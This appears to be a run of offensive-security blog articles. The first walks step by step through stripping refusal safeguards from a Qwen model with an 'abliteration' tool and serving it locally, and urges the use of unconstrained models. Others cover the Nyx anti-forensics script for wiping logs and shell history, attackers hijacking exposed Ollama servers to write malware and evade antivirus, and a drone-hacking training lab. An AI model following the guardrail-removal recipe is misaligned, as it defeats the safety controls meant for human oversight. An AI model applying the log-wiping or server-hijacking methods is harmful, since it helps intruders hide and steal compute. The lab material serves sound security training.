If you don’t have a GPU, don’t worry. You can absolutely make this work with small models using just CPU power. Our Kali VM ran on 12 gigs of RAM and 7 processors, and that setup worked really well.
We went with Qwen 2.5-0.5B-Instruct for this test. You don’t need to have it downloaded beforehand. The tool will fetch it for you automatically. There are different methods available for the jailbreaking process, but advanced and nuclear are the most common. The advanced method is usually enough for most use cases, but if you see the model misbehaving you can escalate to nuclear.
kali > obliteratus obliterate Qwen/Qwen2.5-0.5B-Instruct --device cpu --method advanced --output-dir ./abliterated-qwen-0.5b
Once the model downloads, the tool starts running prompts designed to lift the guardrails.
You can find the full list of prompts in obliteratus/prompts.py. Right before it finishes, it runs a series of refusal tests to check whether the model actually complies with requests. Behavior varies a lot depending on which model you’re working with and which method you picked.
In our testing, the advanced method gave us approximately 75% of compliant answers.
At this point, everything is prepared and you can push your model to HuggingFace to share it. But if you want to run it locally, the next step is getting it working with Ollama.
Running Models with Ollama
Aircorridor previously made an article on running Ollama models locally and showed how to do it on a MacBook. If you don’t have it, you can still make this work on a Kali VM using your CPU. We need to convert our new model into a format that Ollama actually understands.
kali > git clone https://github.com/ggerganov/llama.cpp
kali > cd llama.cpp; python3 -m venv venv; source venv/bin/activate
kali > pip install -r requirements.txt
kali > python convert_hf_to_gguf.py /home/kali/OBLITERATUS/abliterated-qwen-0.5b --outfile qwen2.5-0.5b-abliterated-f16.gguf --outtype f16
Next, we create a Modelfile that points to the model:
kali > cat > Modelfile << EOF
FROM ./qwen2.5-0.5b-abliterated-f16.gguf
EOF
Then we create the model using Ollama:
kali > ollama create qwen05b-abliterated -f Modelfile
At this point, everything is ready and you can start testing it. The better the model you start with, the better your results will be.
kali > ollama run qwen05-abliterated
But even with a small model like this, you’ll see it do things that normally it wouldn’t.
Abliterated Models
This tool is helpful for doing the work yourself and understanding the logic behind the whole process. But if you’re working at scale and don’t have time to spend on each model individually, just keep in mind that many abliterated models are available on HuggingFace uploaded by huihui.ai. They’ve already done the heavy lifting for a lot of popular models.
If you can’t find exactly what you need in their collection, you now know how to do it yourself.
Summary
The landscape of offensive security has shifted because AI got so good at automation. Simple pentests with constrained models don’t prepare you for the reality out there anymore. As you can see, there’s no reason to work with constrained models in cybersecurity, when the people you’re up against are exploiting the full capability of a model with nothing holding them back. So test your environment with abliterated models before someone else does it. The tool is great for staying ahead of the actual threats.
During red team engagements, we often have to deal with the logs that different operating systems store. Every action can leave behind digital evidence. That evidence is exactly what blue teams and digital forensics investigators rely on when reconstructing an attack.
Sometimes, however, a red team engagement is meant to simulate an adversary as realistically as possible. Hackers frequently attempt to hide what they did by erasing evidence of their activity or altering forensic artifacts to make investigations more difficult. If we want to accurately evaluate an organization’s ability to detect sophisticated intrusions, we also need to test how well it responds when an attacker attempts to remove those traces. There are different tools that exist that help reduce your footprint. For instance, HackShell, which we covered in one of our previous articles, makes Bash much stealthier, minimizing command history and improving OPSEC.
But it does not help with removing all forensic traces that already exist throughout the operating system.
There is a different tool that focuses specifically on that task called Nyx.
What is Nyx
Nyx is a self-contained script for cleaning forensic traces on Linux, macOS, and Windows. The scripts walk through a predefined collection of forensic artifacts and remove or clean evidence that may have been generated during system usage.
Of course, no anti-forensics tool can guarantee that every trace of activity disappears. Modern enterprise environments often collect telemetry from many different sources including endpoint detection products, centralized log servers, network monitoring systems, cloud services, and backup solutions. Even if local artifacts are modified or deleted, evidence may still exist elsewhere. Nevertheless, Nyx has techniques that sophisticated hackers may attempt after achieving access to a system.
Below is only a portion of the Linux artifacts that Nyx targets. The complete list is considerably larger. Among the supported modules are shell history files, authentication logs, system logs, audit records, network-related artifacts, user activity, temporary files, and many other forensic traces that investigators commonly examine during an incident response investigation.
Since a significant portion of today’s infrastructure runs on Linux, the script includes modules that focus on the forensic artifacts generated by Linux servers and the services they host.
Windows typically runs less server infrastructure than Linux, so the list is somewhat shorter. Even so, Nyx still targets several important sources of forensic evidence, including Windows Event Logs, PowerShell history, registry-related security artifacts, and various other traces that investigators commonly analyze after a compromise.
Finally, macOS also receives attention with its own collection of supported forensic artifacts. Although the list is smaller than Linux, Nyx still includes modules designed to clean several sources of evidence that may reveal user or system activity.
Cleaning Forensic Evidence on Windows
Now we are ready to test the script and see how it works. There are several different ways you can execute it depending on your objective and your environment.
We will begin with Windows. Before actually cleaning anything, it is a good idea to start with -DryRun. This will show exactly what Nyx plans to clean without making any modifications to the system.
Although the output reports the items that would be cleaned, nothing has actually been removed. The dry run simply shows the actions that Nyx intends to perform.
Let’s clean them now.
PS > .\nyx.ps1
At this point, Nyx begins processing its configured modules and attempts to remove the supported forensic artifacts from the local system.
The same thing can also be achieved through in-memory execution without writing the script to disk first. Running tools directly from memory is a common technique used by hackers because it reduces the number of files written to the filesystem. However, that does not automatically mean antivirus or endpoint detection products will ignore the activity. Modern security products monitor far more than just files stored on disk. They also observe process behavior, PowerShell activity, AMSI events, command-line arguments, parent-child process relationships, memory behavior, and many other indicators.
If needed, you can force execution without waiting for a confirmation prompt by adding the -Force flag. Useful when automating execution across multiple systems with PsExec.
Cleaning Forensic Evidence on Linux
Just as with Windows, it is often a good idea to begin by reviewing what the script intends to do before actually modifying the system.
If necessary, you can repeat the same process by listing the modules that will be used with the -n flag.
bash# > bash nyx.sh -n
As you can see, it goes through multiple modules, including those related to IoT Smart Home devices, cryptocurrency artifacts, IDS and IPS logs, network traces, and many additional categories. This broad coverage also means that privacy-conscious users who want to remove unnecessary traces from their own systems may also find parts of the project useful, provided they understand what information is being deleted.
Summary
Instead of manually searching for dozens of log files, Nyx can speed up this process. It shows why centralized logging, endpoint monitoring and multiple layers of telemetry are so important. Even if a hacker succeeds in cleaning local artifacts, independent security systems may still preserve the evidence needed to detect and investigate the intrusion.
If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.
In one of our previous articles, Aircorridor showed you how to do recon on exposed Ollama servers. There are a surprising number of them scattered across countries all over the world, and unfortunately, most of them are left completely unprotected. That means hackers can use the CPU and GPU power of those servers to run their own tools. It’s not just that they can generate answers to random questions using your exposed models. These models can also be pushed into generating malware, rewriting scripts and exploits to slip past antivirus software, and helping someone hack into other systems entirely. All of it running on your hardware, at your expense, while you have no idea it’s happening. Our goal here is to raise awareness about this problem so you understand what can happen when a model gets left exposed.
Ollama
It all starts with a simple Shodan query, and right now that query turns up 4,222 exposed hosts. That number keeps shifting as more people jump into the AI space, and most of these hosts are sitting there vulnerable to the kinds of attacks we’re about to walk through.
Following Aircorridor’s example, you can list the models running on one of these servers. As you’ll quickly notice, there’s often a long list, sometimes more than 40 models on a single host.
The ones that matter most here are the local models, not the cloud. They don’t require an API key to reach. Of course, not every listed model is actually active, so a quick curl request is usually enough to check whether one is really responding.
When a model does respond, that confirms it’s live and usable, which means it can be put to work for all sorts of purposes, good or bad. Let’s walk through a few of the ways that tend to play out.
Coding
Because these exposed models have no guardrails, they’re an attractive resource for coding tasks, including rewriting malware or generating backdoors. To pull this off, hackers often bring the model straight into VS Code using a plugin called Continue, which lets them integrate an external model directly into their coding workflow.
Once installed, they’ll edit the config file to point at the exposed server’s IP address along with the model’s name. This config can hold multiple models at once, so a hacker can switch between them right there in the chat window.
With that setup in place, the model shows up ready to work and it often has no issue generating malicious code that could cause real damage to systems out on the internet.
The same pattern shows up with exploit development and antivirus evasion, where a model can take old exploits and rewrite them so they slip past AV detection.
Hacking
Once an exploit has been generated, the next step for a hacker is putting it to use against real systems. We covered a tool called PentestCode in an earlier article, and while it normally relies on free AI models through OpenCode Zen, it can just as easily be pointed at someone else’s exposed local model instead. This is just one example among many. Plenty of other tools work the exact same way, running on borrowed compute that belongs to somebody who has no idea it’s being used.
To connect PentestCode to an exposed model, a config file gets created at ~/.config/pentestcode/pentestcode.json.
Once that’s in place, the tool automatically lists the available models. It’s worth noting that not every model supports tool use. DeepSeek R1, for example, doesn’t support it, and neither do a handful of others. So if a given exposed model doesn’t support tools, it’s simply not useful to a hacker in this particular scenario.
Chat Assistant
Finally, exposed local models can also be accessed through a full chat interface using Open WebUI, which looks a lot cleaner than working from the command line. It has the kind of layout people are used to by now, with folders, chat history, channels, and separate workspaces. It takes a bit of disk space and a little patience to install, but once it’s running, it’s a solid and polished experience.
Summary
Running Ollama is not inherently dangerous. Simply exposing a model doesn’t automatically put you at risk of a data breach or account compromise. What it does do is hand hackers free access to your CPU and GPU, letting them run their own workloads on your dime without your knowledge or consent. That alone is a real cost, even if nothing else goes wrong.
The bigger danger shows up with older, outdated Ollama instances. Older versions are more likely to carry known vulnerabilities, and there are documented CVEs out there that can lead to full API exposure. When that happens, hackers aren’t just borrowing your compute anymore. They can steal your API keys outright and use them for whatever purpose they like. Keeping Ollama updated and making sure it isn’t sitting exposed to the open internet goes a long way toward avoiding both problems entirely.
We also invite you to join our AI for Cybersecurity training, available to our Subscriber Pro members. During the training, we’ll cover practical ways to use AI in cybersecurity, show you how to install and run local models, and much more. The field is evolving rapidly, and the sooner you learn to use these tools, the greater your advantage will be.
A while back, we walked you through building your own hacking drone. It was a drone loaded up with tools designed to help you out during an actual pentest. That was a hands-on project in every sense of the word. If you built one, you probably learned a ton just from putting the hardware together.
This time, we’re doing something different. No soldering iron. We’re staying entirely inside your laptop working with the Damn Vulnerable Drone, which is an open-source simulator built for teaching you exactly how drones get hacked, without you ever touching a real drone.
The Damn Vulnerable Drone
The Damn Vulnerable Drone, or DVD, is a training simulator that was made for people who want to learn drone hacking without buying a drone. It recreates an entire drone system in software, including a flight controller, an onboard companion computer, a ground control station and the wireless links connecting them all. Every piece is there, and every piece runs inside Docker containers on a single computer.
The project was built by Nicholas Aleks, a security researcher and co-founder of DEF CON Toronto, and it’s aimed squarely at intermediate-level red teamers and hacking enthusiasts who want to practice with actual drone protocols and architecture. Drone hardware and radios are genuinely expensive, and a mistake on a real flight controller can be costly. You get to make your mistakes safely, over and over, until you actually understand what you’re doing. DVD runs actual ArduPilot firmware as an ordinary program and pairs ArduPilot’s SITL with Gazebo, which is a 3D robotics simulator that supplies realistic physics. Motors spin up, GPS signals drift the way they really do, and the drone actually flies through a rendered 3D world.
Under the Hood
Every Docker container gets its own address on an internal network. That’s a design choice that mirrors how a real drone’s components actually work. The first piece is the Flight Controller, which runs the ArduPilot firmware itself and talks directly to the Gazebo simulator to process virtual sensor data. The second piece is the Companion Computer, which handles Wi-Fi, camera streaming, telemetry logging, and autonomous navigation, and which also exposes its own web interface for you to interact with. The third piece is the Ground Control Station, the pilot’s side of the operation, covering mission planning, mapping, video, and joystick control, all communicating over a simulated wireless MAVLink link. And the fourth piece is the Simulator itself, the Gazebo container that models flight physics behind the scenes. The documentation specifically tells you not to attack this fourth container directly, because doing so can crash the entire lab out from under you. Everything else is fair game. That one, leave alone.
Getting Started
To install it we need to pull down containers. The project offers two configurations based on whether you have a dedicated graphics card.
If the answer is no, you need Lite Mode. It uses a simplified 2D flight model, needs no GPU at all, and runs comfortably on 4 to 8 GB of RAM, 2 CPU cores, and about 100 GB of disk space. It works on Kali Linux or most other Linux distributions, and you can run it either on bare metal or inside a virtual machine. If the answer is yes, Full Mode gives you the complete Gazebo 3D environment, but it asks more of your machine in return. You need 8 to 16 GB of RAM, 2 to 4 CPU cores, 100 GB of disk space, and a GPU with at least 2 GB of VRAM supporting OpenGL 3.0 or newer. Full Mode is Kali Linux only, and it strongly prefers bare metal, though a virtual machine with GPU passthrough will also work.
Kali Linux is the officially supported operating system either way, and both modes need Docker and Docker Compose installed as the only real software dependency you have to worry about. Once Docker is installed, the whole lab comes up with a handful of commands.
First, if Docker isn’t already on your system, you’ll want to install it:
kali > printf '%s\n' "deb https://download.docker.com/linux/debian bullseye stable" | sudo tee /etc/apt/sources.list.d/docker-ce.list
kali > curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/trusted.gpg.d/docker-ce-archive-keyring.gpg
kali > sudo apt update -y
kali > sudo apt install docker-ce docker-ce-cli containerd.io -y
kali > sudo systemctl enable docker --now
kali > sudo usermod -aG docker $USER && newgrp docker
Then, clone the repository and pull down the containers. If you’re going with Lite Mode, do this:
kali > git clone https://github.com/nicholasaleks/Damn-Vulnerable-Drone.git && cd Damn-Vulnerable-Drone
kali > docker compose -f docker-compose-lite.yaml pull
From there, three small scripts manage the whole lab’s lifecycle for you:
kali > sudo ./start.sh --mode lite --Wi-Fi wpa2
kali > sudo ./status.sh
kali > sudo ./stop.sh
The start.sh script alone has quite a few options worth knowing about. The –mode full or –mode lite flag picks your simulation type, matching the two modes described above. And the –Wi-Fi wep or –Wi-Fi wpa2 flag is optional, but it’s worth turning on, because it spins up a virtual wireless network alongside everything else. That means your practice can actually include real Wi-Fi attacks as the very first step, instead of starting the exercise with network access already handed to you.
Interface and Feedback
Once everything is up and running, DVD is controlled through a browser-based management console sitting at localhost:8000
This console is really where the whole exercise plays out. A set of buttons trigger five distinct flight states: Initial Boot, Arm & Takeoff, Autopilot Flight, Emergency/Return-to-Land, and Post-Flight Data Processing. Each one simulates a different phase of a drone’s mission and opens up a different attack surface for you to explore. Triggering “Arm & Takeoff,” for instance, actually gets the simulated drone airborne, which gives GPS and navigation-based attacks something real to act on.
That mapping to real flight phases is there for a reason. A drone accepts different commands, and trusts different sources of data, depending on whether it’s sitting idle on the ground, climbing out after takeoff, cruising on autopilot, or executing an emergency fail-safe. That means exercises built around each individual state end up testing different parts of the system.
The Attack Scenario Library
This is really the heart of the whole project. It has more than 40 named attack scenarios, organized into six categories, each one with its own documentation page and a spoiler-tagged walkthrough waiting behind it. It’s a deliberately broad menu, and it’s worth noticing that some scenarios are about gathering information without being noticed, while others are about actively manipulating or outright breaking the system in front of you.
Reconnaissance scenarios are about passively fingerprinting the drone, its companion computer, and its ground station by watching Wi-Fi and MAVLink traffic go by, without touching anything yet. Protocol Tampering scenarios involve spoofing telemetry values the drone reports, things like its GPS position, battery level, or system status, to see whether the system properly checks what it’s being told. Denial of Service scenarios focus on disrupting flight through methods like Wi-Fi deauthentication or flooding the communication link until it can’t keep up. Injection scenarios involve sending forged commands directly into the MAVLink stream, ranging all the way from a simple waypoint change to a full companion-computer takeover. Exfiltration scenarios are about pulling data off the drone entirely, whether that’s flight logs, mission plans, or content from the camera feed. And Firmware Attacks focus on modifying or reverse-engineering the ArduPilot firmware itself, right down at the code level.
Battery Spoofing
Because every scenario runs against fully simulated components, you actually get to see the complete effect of an attack play out. A spoofed GPS reading really does nudge the simulated flight path off course. A flooded communication link really does degrade control, right in front of you. And you get to watch all of it happen without any of the legal or physical risk that would come with testing the same techniques on live hardware.
Wi-Fi and Non-Wi-Fi Modes
DVD can be deployed in two different ways, and which one you pick depends on which part of the attack chain you actually want to practice. Wi-Fi Mode spins up a real, functioning virtual wireless network, broadcasting an SSID called Drone_Wi-Fi on the 192.168.13.0/24 range, with your choice of weak WEP encryption or the considerably stronger WPA2. This lets the whole exercise start from the very beginning, with you playing the role of an attacker who doesn’t have network access yet and has to earn it.
Non-Wi-Fi Mode skips that entire step and simply brings the containers up directly. This is useful if you just want to focus purely on protocol-level attacks, or if you’re not running inside a Kali VM with wireless card support to begin with. In this mode, the documentation asks you to treat the situation as though initial access to the drone’s data link has already been established, so you can jump straight to the MAVLink-level work.
Summary
The Damn Vulnerable Drone takes an idea that’s already well proven in web security and applies it to a domain where practicing on the real thing tends to be expensive. By simulating a full ArduPilot and MAVLink drone stack inside Docker, right down to Wi-Fi, camera streaming, and flight physics, it hands penetration testers, students, and researchers a realistic, disposable target, backed by more than 40 documented attack scenarios and built-in walkthroughs to guide the way. It won’t teach you to fly a real drone. But it will teach you exactly how one can be hacked, and for anyone working in drone security, that’s the more useful skill anyway.
If you’re interested in drone hacking, check out our Building Your Own Hacking Drone series, where we walk you through attack scenarios targeting Bluetooth and Wi-Fi across a wide range of devices.
We also offer a Drone Hacking training course, taking place November 10-12 at 4:00 PM UTC, available to Subscriber and Subscriber Pro students.
Login
